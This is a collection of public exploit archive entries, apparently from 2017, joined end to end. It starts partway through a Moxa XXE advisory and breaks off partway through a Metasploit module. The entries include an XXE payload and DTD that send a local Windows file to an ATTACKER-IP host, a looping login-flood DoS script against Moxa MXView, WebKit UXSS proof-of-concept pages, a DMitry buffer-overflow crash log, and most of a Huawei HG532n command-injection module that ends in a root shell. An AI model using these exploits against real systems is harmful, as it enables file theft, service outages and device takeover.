XML External Entity via ".AOP" files used by MX-AOPC Server result in remote file disclosure. If local user opens
a specially crafted malicious MX-AOPC Server file type.



Exploit/POC:
=============
run MX-AOPC UA Server / Runtime / Start Server Runtime Service 

a) ATTACKER SERVER LISTENER we will access Windows msfmap.ini as proof of concept
python -m SimpleHTTPServer 8080

"Evil.AOP" file

<?xml version="1.0"?>  
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


b) Evil "payload.dtd" file host on ATTACKER SERVER

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">
%all;


e.g.

python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...

VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /payload.dtd HTTP/1.1" 200 -
VICTIM-IP - - [02/Mar/2017 10:06:00] "GET /?;[connect%20name]%20will%20modify%20the%20connection%20if%20ADC.connect="name";[connect%20default]%20will%20modify%20the%20connection%20if%20name%20is%20not%20found;[sql%20name]%20will%20modify%20the%20Sql%20if%20ADC.sql="name(args)";[sql%20default]%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.;Only%20the%20Sql%20strings%20support%20parameters%20using%20"?";The%20override%20strings%20must%20not%20equal%20""%20or%20they%20are%20ignored;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored;Access=NoAccess;Access=ReadOnly;Access=ReadWrite;[userlist%20name]%20allows%20specific%20users%20to%20have%20special%20access;The%20Access%20is%20computed%20as%20follows:;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.[connect%20default];If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccessAccess=NoAccess[sql%20default];If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.Sql="%20"[connect%20CustomerDatabase]Access=ReadWriteConnect="DSN=AdvWorks"[sql%20CustomerById]Sql="SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?"[connect%20AuthorDatabase]Access=ReadOnlyConnect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"[userlist%20AuthorDatabase]Administrator=ReadWrite[sql%20AuthorById]Sql="SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?" HTTP/1.1" 200 -



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
==========================================================
Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec            
 


Vendor:
============
www.moxa.com



Product:
===========
MXView v2.8

Download:
http://www.moxa.com/product/MXstudio.htm

MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2017-7456



Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.



Exploit/POC:
=============
import urllib,urllib2

print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'

IP=raw_input("[Moxa MXView IP]>")

PAYLOAD="A"*200000000

url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' :  PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})

while 1:
    req = urllib2.Request(url, data)
    res = urllib2.urlopen(req)
    print res



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
==========================================================
Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = 'https://abc.xyz/';

</script>
</body>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

More simple way:
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Function, ['return window[0].eval;'], g);
        let e = a();
        e('alert(location)');
    };

    f.src = 'https://abc.xyz/';
-->

<body>
<script>

/*

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

*/

'use strict';

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Intl.NumberFormat, [], g);
        Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
    };

    f.src = 'https://abc.xyz/';
}

main();

</script>
</body>
            
 ################
#Exploit Title: Dmitry(Deepmagic Information Gathering Tool) Local Stack Buffer Overflow
#CVE: CVE-2017-7938
#CWE: CWE-119
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/
#Version : 1.3a (Unix)
#Exploit Tested on: Parrot OS
#Date: 19-04-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: Buffer overflow in DMitry (Deepmagic Information Gathering Tool) version 1.3a (Unix) allows attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a long argument. An example threat model is automated execution of DMitry with hostname strings found in local log files.
###############################
#valgrind dmitry $(python -c 'print "A"*64')
==11312== Memcheck, a memory error detector
==11312== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==11312== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
==11312== Command: dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
==11312== 
Deepmagic Information Gathering Tool
"There be some deep magic going on"

ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Continuing with limited modules
HostIP:
HostName:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Gathered Inic-whois information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
---------------------------------
Error: Unable to connect - Invalid Host
ERROR: Connection to InicWhois Server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA failed

Gathered Netcraft information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
---------------------------------

Retrieving Netcraft.com information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Netcraft.com Information gathered
**11312** *** strcpy_chk: buffer overflow detected ***: program terminated
==11312==    at 0x4030DD7: VALGRIND_PRINTF_BACKTRACE (valgrind.h:6818)
==11312==    by 0x40353AA: __strcpy_chk (vg_replace_strmem.c:1439)
==11312==    by 0x804B5F7: ??? (in /usr/bin/dmitry)
==11312==    by 0x8048ED8: ??? (in /usr/bin/dmitry)
==11312==    by 0x407D275: (below main) (libc-start.c:291)
==11312== 
==11312== HEAP SUMMARY:
==11312==     in use at exit: 0 bytes in 0 blocks
==11312==   total heap usage: 82 allocs, 82 frees, 238,896 bytes allocated
==11312== 
==11312== All heap blocks were freed -- no leaks are possible
==11312== 
==11312== For counts of detected and suppressed errors, rerun with: -v
==11312== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
======================================
GDB output:
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /usr/bin/dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Deepmagic Information Gathering Tool
"There be some deep magic going on"

ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Continuing with limited modules
*** buffer overflow detected ***: /usr/bin/dmitry terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb7e5a37a]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb7eeae17]
/lib/i386-linux-gnu/libc.so.6(+0xf60b8)[0xb7ee90b8]
/lib/i386-linux-gnu/libc.so.6(+0xf56af)[0xb7ee86af]
/usr/bin/dmitry[0x8048e04]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e0b276]
/usr/bin/dmitry[0x80490a4]
======= Memory map: ========
08048000-0804f000 r-xp 00000000 08:01 7209647    /usr/bin/dmitry
0804f000-08050000 r--p 00006000 08:01 7209647    /usr/bin/dmitry
08050000-08051000 rw-p 00007000 08:01 7209647    /usr/bin/dmitry
08051000-08073000 rw-p 00000000 00:00 0          [heap]
b7d9f000-b7dbb000 r-xp 00000000 08:01 24248323   /lib/i386-linux-gnu/libgcc_s.so.1
b7dbb000-b7dbc000 r--p 0001b000 08:01 24248323   /lib/i386-linux-gnu/libgcc_s.so.1
b7dbc000-b7dbd000 rw-p 0001c000 08:01 24248323   /lib/i386-linux-gnu/libgcc_s.so.1
b7dbd000-b7dd1000 r-xp 00000000 08:01 24249970   /lib/i386-linux-gnu/libresolv-2.24.so
b7dd1000-b7dd2000 r--p 00013000 08:01 24249970   /lib/i386-linux-gnu/libresolv-2.24.so
b7dd2000-b7dd3000 rw-p 00014000 08:01 24249970   /lib/i386-linux-gnu/libresolv-2.24.so
b7dd3000-b7dd5000 rw-p 00000000 00:00 0 
b7dd5000-b7dda000 r-xp 00000000 08:01 24249963   /lib/i386-linux-gnu/libnss_dns-2.24.so
b7dda000-b7ddb000 r--p 00004000 08:01 24249963   /lib/i386-linux-gnu/libnss_dns-2.24.so
b7ddb000-b7ddc000 rw-p 00005000 08:01 24249963   /lib/i386-linux-gnu/libnss_dns-2.24.so
b7ddc000-b7dde000 r-xp 00000000 08:01 24249725   /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7dde000-b7ddf000 r--p 00001000 08:01 24249725   /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7ddf000-b7de0000 rw-p 00002000 08:01 24249725   /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7de0000-b7deb000 r-xp 00000000 08:01 24249964   /lib/i386-linux-gnu/libnss_files-2.24.so
b7deb000-b7dec000 r--p 0000a000 08:01 24249964   /lib/i386-linux-gnu/libnss_files-2.24.so
b7dec000-b7ded000 rw-p 0000b000 08:01 24249964   /lib/i386-linux-gnu/libnss_files-2.24.so
b7ded000-b7df3000 rw-p 00000000 00:00 0 
b7df3000-b7fa4000 r-xp 00000000 08:01 24249955   /lib/i386-linux-gnu/libc-2.24.so
b7fa4000-b7fa6000 r--p 001b0000 08:01 24249955   /lib/i386-linux-gnu/libc-2.24.so
b7fa6000-b7fa7000 rw-p 001b2000 08:01 24249955   /lib/i386-linux-gnu/libc-2.24.so
b7fa7000-b7faa000 rw-p 00000000 00:00 0 
b7fd4000-b7fd7000 rw-p 00000000 00:00 0 
b7fd7000-b7fd9000 r--p 00000000 00:00 0          [vvar]
b7fd9000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 24249741   /lib/i386-linux-gnu/ld-2.24.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0 
b7ffe000-b7fff000 r--p 00022000 08:01 24249741   /lib/i386-linux-gnu/ld-2.24.so
b7fff000-b8000000 rw-p 00023000 08:01 24249741   /lib/i386-linux-gnu/ld-2.24.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Program received signal SIGABRT, Aborted.
0xb7fd9cf9 in __kernel_vsyscall ()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(
      info,
      'Name'        => 'Huawei HG532n Command Injection',
      'Description' => %q(
        This module exploits a command injection vulnerability in the Huawei
        HG532n routers provided by TE-Data Egypt, leading to a root shell.

        The router's web interface has two kinds of logins, a "limited" user:user
        login given to all customers and an admin mode. The limited mode is used
        here to expose the router's telnet port to the outside world through NAT
        port-forwarding.

        With telnet now remotely accessible, the router's limited "ATP command
        line tool" (served over telnet) can be upgraded to a root shell through
        an injection into the ATP's hidden "ping" command.
      ),
      'Author'         =>
        [
          'Ahmed S. Darwish <darwish.07@gmail.com>',    # Vulnerability discovery, msf module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'Arch'           => ARCH_MIPSBE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
        },
      'Targets'        =>
        [
          [
            'Linux mipsbe Payload',
            {
              'Arch'     => ARCH_MIPSBE,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 15 2017',
      'References' => [
        ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245']
      ]
    ))
    register_options(
      [
        OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
        OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
        OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
        OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
        OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
        OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
        OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
      ], self.class
    )
  end

  def check
    httpd_fingerprint = %r{
      \A
      HTTP\/1\.1\s200\sOK\r\n
      CACHE-CONTROL:\sno-cache\r\n
      Date:\s.*\r\n
      Connection:\sKeep-Alive\r\n
      Content-Type:\stext\/html\r\n
      Content-Length:\s\d+\r\n
      \r\n
      <html>\n<head>\n
      <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
      <META\shttp-equiv="Pragma"\scontent="no-cache">\n
      <META\shttp-equiv="expires"\sCONTENT="-1">\n
      <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
    }x

    begin
      res = send_request_raw(
        'method' => 'GET',
        'uri'    => '/'
      )
    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - Could not connect to device")
      return Exploit::CheckCode::Unknown
    end

    if res && res.code == 200 && res.to_s =~ httpd_fingerprint
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Unknown
  end

  #
  # The Javascript code sends all passwords in the form:
  #      form.setAction('/index/login.cgi');
  #      form.addParameter('Username', Username.value);
  #      form.addParameter('Password', base64encode(SHA256(Password.value)));
  # Do the same base64 encoding and SHA-256 hashing here.
  #
  def hash_password(password)
    sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
    Base64.encode64(sha256).gsub(/\s+/, "")
  end

  #
  # Without below cookies, which are also sent by the JS code, the
  # server will consider even correct HTTP requests invalid
  #
  def generate_web_cookie(admin: false, session: nil)
    if admin
      cookie =  'FirstMenu=Admin_0; '
      cookie << 'SecondMenu=Admin_0_0; '
      cookie << 'ThirdMenu=Admin_0_0_0; '
    else
      cookie =  'FirstMenu=User_2; '
      cookie << 'SecondMenu=User_2_1; '
      cookie << 'ThirdMenu=User_2_1_0; '
    end

    cookie << 'Language=en'
    cookie << "; #{session}" unless session.nil?
    cookie
  end

  #
  # Login to the router through its JS-based login page. Upon a successful
  # login, return the keep-alive HTTP session cookie
  #
  def web_login
    cookie = generate_web_cookie(admin: true)

    # On good passwords, the router redirect us to the /html/content.asp
    # homepage. Otherwise, it throws us back to the '/' login page. Thus
    # consider the ASP page our valid login marker
    invalid_login_marker = "var pageName = '/'"
    valid_login_marker = "var pageName = '/html/content.asp'"

    username = datastore['HttpUsername']
    password = datastore['HttpPassword']

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/index/login.cgi',
      'cookie'    => cookie,
      'vars_post' => {
        'Username' => username,
        'Password' => hash_password(password)
      }
    )
    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?

    unless res.code == 200
      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
    end

    return res.get_cookies if res.body.include? valid_login_marker

    if res.body.include? invalid_login_marker
      fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
    else
      fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
    end
  end

  #
  # The telnet port is filtered by default. Expose it to the outside world
  # through NAT forwarding
  #
  def expose_telnet_port(session_cookies)
    cookie = generate_web_cookie(session: session_cookies)

    external_telnet_port = rand(32767) + 32768

    portmapping_page = '/html/application/portmapping.asp'
    valid_port_export_marker = "var pageName = '#{portmapping_page}';"
    invalid_port_export_marker = /var ErrInfo = \d+/

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/html/application/addcfg.cgi',
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
      'vars_get'  => {
        'x'           => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
        'RequestFile' => portmapping_page
      },
      'vars_post' => {
        'x.PortMappingProtocol'    => "TCP",
        'x.PortMappingEnabled'     => "1",
        'x.RemoteHost'             => "",
        'x.ExternalPort'           => external_telnet_port.to_s,
        'x.ExternalPortEndRange'   => external_telnet_port.to_s,
        'x.InternalClient'         => "192.168.1.1",
        'x.InternalPort'           => "23",
        'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
      }
    )
    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?

    unless res.code == 200
      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
    end

    if res.body.include? valid_port_export_marker
      print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
      return external_telnet_port
    end

    if res.body.match? invalid_port_export_marker
      fail_with(Failure::Unknown, "Router reported port-mapping error. " \
                "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
    end

    fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
  end

  #
  # Cover our tracks; don't leave the exposed router's telnet port open
  #
  def hide_exposed_telnet_port(session_cookies)
    cookie = generate_web_cookie(session: session_cookies)
    portmapping_page = '/html/application/portmapping.asp'

    # Gather a list of all existing ports forwarded so we can purge them soon
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => portmapping_page,
      'cookie'    => cookie
    )

    unless res && res.code == 200
      print_warning "Could not get current forwarded ports from web interface"
    end

    # Collect existing port-forwarding keys; to be passed to the delete POST request
    portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
    vars_post = {}
    res.body.scan(portforward_key).uniq.each do |key|
      vars_post[key] = ""
    end

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/html/application/del.cgi',
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
      'vars_get'  => { 'RequestFile' => portmapping_page },
      'vars_post' => vars_post
    )
    return if res && res.code == 200

    print_warning "Could not re-hide exposed telnet port"
  end

  #
  # Cleanup our state, after any successful web login. Note: router refuses
  # more than 3 concurrent logins from the same IP. It also forces a 1-minute
  # delay after 3 unsuccessful logins from _any_ IP.
  #
  def web_logout(session_cookies)
    cookie = generate_web_cookie(admin: true, session: session_cookies)

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/index/logout.cgi',
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
    )
    return if res && res.code == 200

    print_warning "Could not logout from web interface. Future web logins may fail!"
  end

  #
  # Don't leave web sessions idle for too long (> 1 second). It triggers the
  # HTTP server's safety mechanisms and make it refuse further operations.
  #
  # Thus do all desired web operations in chunks: log in, do our stuff (passed
  # block), and immediately log out. The router's own javescript code handles
  # this by sending a refresh request every second.
  #
  def web_operation
    begin
      cookie = web_login
      yield cookie
    ensure
      web_logout(cookie) unless cookie.nil?
    end
  end

  #
  # Helper method. Used for waiting on telnet banners and prompts.
  # Always catch the ::Timeout::Error exception upon calling this.
  #
  def read_until(sock, timeout, marker)
    received = ''
    Timeout.timeout(timeout) do
      loop do
        r = (sock.get_once(-1, 1) || '')
        next if r.empty?

        received << r
        print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
        return received if received.include? marker
      end
    end
  end

  #
  # Borrowing constants from Ruby's Net::Telnet class (ruby license)
  #
  IAC         =  255.chr   # "\377" # "\xff" # interpret as command
  DO          =  253.chr   # "\375" # "\xfd" # please, you use option
  OPT_BINARY  =  0.chr     # "\000" # "\x00" # Binary Transmission
  OPT_ECHO    =  1.chr     # "\001" # "\x01" # Echo
  OPT_SGA     =  3.chr     # "\003" # "\x03" # Suppress Go Ahead
  OPT_NAOFFD  =  13.chr    # "\r"   # "\x0d" # Output Formfeed Disposition

  def telnet_auth_negotiation(sock, timeout)
    begin
      read_until(sock, timeout, 'Password:')
      sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
    rescue ::Timeout::Error
      fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
    end

    begin
      read_until(sock, timeout, 'Password:') # Router bug
      sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
    rescue ::Timeout::Error
      fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
    end
  end

  def telnet_prompt_wait(error_regex = nil)
    begin
      result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
      if error_regex
        error_regex = [error_regex] unless error_regex.is_a? Array
        error_regex.each do |regex|
          if result.match? regex
            fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
          end
        end
      end
    rescue ::Timeout::Error
      fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
    end
  end

  #
  # Basic telnet login. Due to mixins conflict, revert to using plain
  # Rex sockets (thanks @hdm!)
  #
  def telnet_login(port)
    print_status "Connecting to just-exposed telnet port #{port}"

    @telnet_prompt = 'HG520b>'
    @telnet_timeout = 60

    @telnet_sock = Rex::Socket.create_tcp(
      'PeerHost' => rhost,
      'PeerPort' => port,
      'Context'  => { 'Msf' => framework, 'MsfExploit' => self },
      'Timeout'  => @telnet_timeout
    )
    if @telnet_sock.nil?
      fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
    end
    add_socket(@telnet_sock)

    print_good "Connection succeeded. Passing telnet credentials"
    telnet_auth_negotiation(@telnet_sock, @telnet_timeout)

    print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
    telnet_prompt_wait

    print_good 'Prompt received. Telnet access fully granted!'
  end

  def telnet_exit
    return if @telnet_sock.nil?
    @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
  end

  #
  # Router's limited ATP shell just reverts to classical Linux
  # shell when executing a ping:
  #
  #       "ping %s > /var/res_ping"
  #
  # A successful injection would thus substitute all its spaces to
  # ${IFS}, and trails itself with ";true" so it can have its own
  # IO redirection.
  #
  def execute_command(command, error_regex = nil, background: false)
    print_status "Running command on target: #{command}"

    command.gsub!(/\s/, '${IFS}')
    separator = background ? '&' : ';'
    atp_cmd = "ping ?;#{command}#{separator}true"

    @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
    telnet_prompt_wait(error_regex)
    print_good "Command executed successfully"
  end

  #
  # Our own HTTP server, for serving the payload
  #
  def start_http_server
    @pl = generate_payload_exe

    downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
    resource_uri = '/' + downfile

    if datastore['DOWNHOST']
      print_status "Will not start local web server, as DOWNHOST is already defined"
    else
      print_status("Starting web server; hosting #{resource_uri}")
      start_service(
        'ServerHost' => '0.0.0.0',
        'Uri' => {
